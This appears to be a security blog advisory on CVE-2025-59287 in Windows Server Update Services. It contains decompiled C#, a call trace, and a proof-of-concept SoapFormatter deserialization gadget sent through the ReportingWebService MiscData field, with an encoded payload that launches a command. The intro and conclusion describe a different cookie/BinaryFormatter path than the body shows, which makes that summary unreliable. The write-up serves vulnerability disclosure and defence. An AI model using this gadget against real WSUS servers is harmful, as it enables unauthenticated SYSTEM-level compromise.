Deserialize

CVE-2025-59287 WSUS Unauthenticated RCE

A technical WSUS advisory for CVE-2025-59287: unsafe deserialization in Windows Server Update Services that allows remote code execution.

Batuhan Er

October 22, 20256 min read
CVE-2025-59287 WSUS Unauthenticated RCE

CVE-2025-59287 — WSUS Unauthenticated Remote Code Execution

Since my previous write-up was about CVE-2023-35317, I resumed the investigation and the results indeed indicate an unauthenticated remote code execution (unauth RCE)

In this study, we will examine a critical vulnerability (CVE-2025-59287) discovered in the Microsoft Windows Server Update Services (WSUS) environment. This vulnerability arises from the unsafe deserialization of AuthorizationCookie objects sent to the GetCookie() endpoint, where encrypted cookie data is decrypted using AES-128-CBC and subsequently deserialized through BinaryFormatter without proper type validation, enabling remote code execution with SYSTEM privileges.

CVE-2025-59287 / 9.8

Windows Server Update Services (WSUS) Overview | Microsoft Learn


What is WSUS?

WSUS (Windows Server Update Services) is a Microsoft tool that allows IT administrators to manage and distribute updates for Windows systems. WSUS clients communicate with the WSUS server over the web to receive updates and stay secure.


Deserialize

csharp
	public static object DeserializeObject(byte[] bytes)
		{
			SoapFormatter soapFormatter = new SoapFormatter();
			soapFormatter.Binder = new WSUSDeserializationBinder("Microsoft.UpdateServices.Administration");
			if (bytes == null)
			{
				throw new ArgumentNullException("bytes");
			}
			MemoryStream memoryStream = new MemoryStream(bytes);
			return soapFormatter.Deserialize(memoryStream);
		}

Vulnerability Flow:

In the previous post, my dear friend was BinaryFormatter now its SoapFormatter :D

What happens in the GetEventHistory method?

  • Specific data in the tbEventInstance table is checked.
  • Then it passes the data to the SubscriptionEvent method, which in turn forwards it to the PopulateSubscriptionEventProperties method

PopulateSubscriptionEventProperties

csharp
protected virtual void PopulateSubscriptionEventProperties()
			...
			try
			{
				this.administrator = BaseEvent.GetKeyValue("Administrator", base.Row.MiscData);
			}
			catch (Exception ex)
			{
				if (ex is ArgumentException || ex is FormatException || ex is OverflowException)
				{
					throw new ArgumentException(LocalizedStrings.GetString(Constants.CannotFindOrProcessSubscriptionEventValueError, new object[] { "Administrator" }), "row", ex);
				}
				throw;
			}
			try
			...
			{
				string text2 = string.Empty;
				try
				{
					text2 = BaseEvent.GetKeyValue("SynchronizationUpdateErrorsKey", base.Row.MiscData);
				}
				catch (ArgumentException)
				{
					text2 = string.Empty;
				}
				if (text2.Length == 0)
				{
					this.updateErrors = new SynchronizationUpdateErrorInfoCollection();
				}
				else
				{
					try
					{
						this.updateErrors = (SynchronizationUpdateErrorInfoCollection)BaseEvent.ConvertXmlToObject(text2);
					}
					catch (XmlException)
					{
						this.updateErrors = new SynchronizationUpdateErrorInfoCollection();
					}
					catch (SerializationException)
					{
						this.updateErrors = new SynchronizationUpdateErrorInfoCollection();
					}
				}
			}
			catch (ArgumentException ex3)
			{
				throw new ArgumentException(LocalizedStrings.GetString(Constants.CannotFindOrProcessSubscriptionEventValueError, new object[] { "UpdateErrors" }), "row", ex3);
			}
		}

In this method, certain validations are performed on the incoming data. One of the most important checks involves the MiscData column in the tbEventInstance table, which is where we could specify the gadget that will be sent for deserialization.

  • base.Row must be valid: NamespaceId 2, EventId must be among the subscriptionEvents, and StateId must be 323, 324, or 325 (otherwise the method throws an ArgumentException early).
  • BaseEvent.GetKeyValue("SynchronizationUpdateErrorsKey", base.Row.MiscData) must successfully return a value (i.e., it should not throw an ArgumentException).
  • The returned value (text2) must not be an empty string (text2.Length > 0).
  • text2 must be a valid XML, and when passed to BaseEvent.ConvertXmlToObject(text2), it should deserialize into a SynchronizationUpdateErrorInfoCollection object.

Trace

csharp
Microsoft.UpdateServices.Internal.SoapUtilities.DeserializeObject(byte[]) : object @06000158
	Used By
		Microsoft.UpdateServices.Internal.BaseApi.BaseEvent.ConvertXmlToObject(string) : object @060003B8
			Used By
				Microsoft.UpdateServices.Internal.BaseApi.SubscriptionEvent.PopulateSubscriptionEventProperties() : void @06000552
					Overridden By
					Used By
						Microsoft.UpdateServices.Internal.BaseApi.SubscriptionEvent.SubscriptionEvent(EventHistoryTableRow) : void @06000544
							Used By
								Microsoft.UpdateServices.Internal.BaseApi.SubscriptionEvent.GetEventHistory(DateTime, DateTime, UpdateServer) : SubscriptionEventCollection @0600054A

Triggering via Web ?

csharp
		public bool ReportEventBatch(Microsoft.UpdateServices.Internal.Authorization.Cookie cookie, DateTime clientTime, ReportingEvent[] eventBatch)
		{
			this.ThrowIfNotAcceptingEvents();
			bool flag = false;
			if (this.ValidateEventBatch(eventBatch))
			{
				try
				{
					ReportingServer instance = ReportingServer.Instance;
					UnencryptedCookieData unencryptedCookieData = this.PerformValidation(cookie, instance);
					if (unencryptedCookieData != null)
					{
						string text = unencryptedCookieData.ClientIds[0];
						Guid guid = ComputerTargetGroupId.UnassignedComputers;
						foreach (Guid guid2 in unencryptedCookieData.Groups)
						{
							if (ComputerTargetGroupId.AllComputers != guid2)
							{
								guid = guid2;
							}
						}
						foreach (ReportingEvent reportingEvent in eventBatch)
						{
							reportingEvent.BasicData.TargetId = new ComputerTargetIdentifier(text);
							reportingEvent.ExtendedData.TargetGroup = guid;
						}
					}
					if (HttpContext.Current != null && HttpContext.Current.Request != null)
					{
						string clientIPFromHttpHeader = WebService.config.GetClientIPFromHttpHeader(HttpContext.Current.Request.Headers, HttpContext.Current.Request.UserHostAddress);
						for (int i = 0; i < eventBatch.Length; i++)
						{
							eventBatch[i].ExtendedData.MiscVarChar1 = clientIPFromHttpHeader;
						}
					}
					for (int i = 0; i < eventBatch.Length; i++)
					{
						eventBatch[i].ExtendedData.Environment = WebService.environment;
					}
					flag = instance.ReportEventBatch(clientTime, eventBatch);
				}
				catch (Exception ex)
				{
					Log.Trace(LogLevel.Error, "Exception occured in ReportEventBatch: {0}", new object[] { ex.Message });
					throw;
				}
			}
			return flag;
		}

WSUS works with multiple endpoints, some of which are ApiRemoting30, ClientWebService, DssAuthWebService, ReportingWebService... Our magic endpoint is ReportingWebService. Here, the client sends a request to /ReportingWebService/ReportingWebService.asmx and the data is recorded in the database.

Back to the MiscData part when sending a request, the user must format it according to the expected conditions.

csharp
<MiscData>
  <string>Administrator=SYSTEM</string>
  <string>SynchronizationUpdateErrorsKey=(SoapFormatter Gadget)</string>
</MiscData>

PoC

MAYBE CVE-2025-59287

csharp
<MiscData soapenc:arrayType="xsd:string[2]">
<string>Administrator=SYSTEM</string>
<string>SynchronizationUpdateErrorsKey=<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><a1:DataSet id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089"><DataSet.RemotingFormat xsi:type="a1:SerializationFormat" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089">Binary</DataSet.RemotingFormat><DataSet.DataSetName id="ref-3"></DataSet.DataSetName><DataSet.Namespace href="#ref-3"/><DataSet.Prefix href="#ref-3"/><DataSet.CaseSensitive>false</DataSet.CaseSensitive><DataSet.LocaleLCID>1033</DataSet.LocaleLCID><DataSet.EnforceConstraints>false</DataSet.EnforceConstraints><DataSet.ExtendedProperties xsi:type="xsd:anyType" xsi:null="1"/><DataSet.Tables.Count>1</DataSet.Tables.Count><DataSet.Tables_0 href="#ref-4"/></a1:DataSet><SOAP-ENC:Array id="ref-4" xsi:type="SOAP-ENC:base64">AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==</SOAP-ENC:Array></SOAP-ENV:Body></SOAP-ENV:Envelope></string>
</MiscData>

Conclusion

CVE-2025-59287 is a critical RCE vulnerability in Microsoft Windows Server Update Services (WSUS), caused by unsafe deserialization of AuthorizationCookie data through BinaryFormatter in the EncryptionHelper.DecryptData() method. The vulnerability allows an unauthenticated attacker to achieve remote code execution with SYSTEM privileges by sending malicious encrypted cookies to the GetCookie() endpoint. Permanent mitigation requires replacing BinaryFormatter with secure serialization mechanisms, implementing strict type validation, and enforcing proper input sanitization on all cookie data.


Stay Ahead of Cyber Threats

Get the latest cybersecurity insights, threat intelligence, and expert analysis delivered directly to your inbox. Join security professionals worldwide who trust HawkTrace for cutting-edge security knowledge.

Updated Daily
Expert Authors
Industry Leading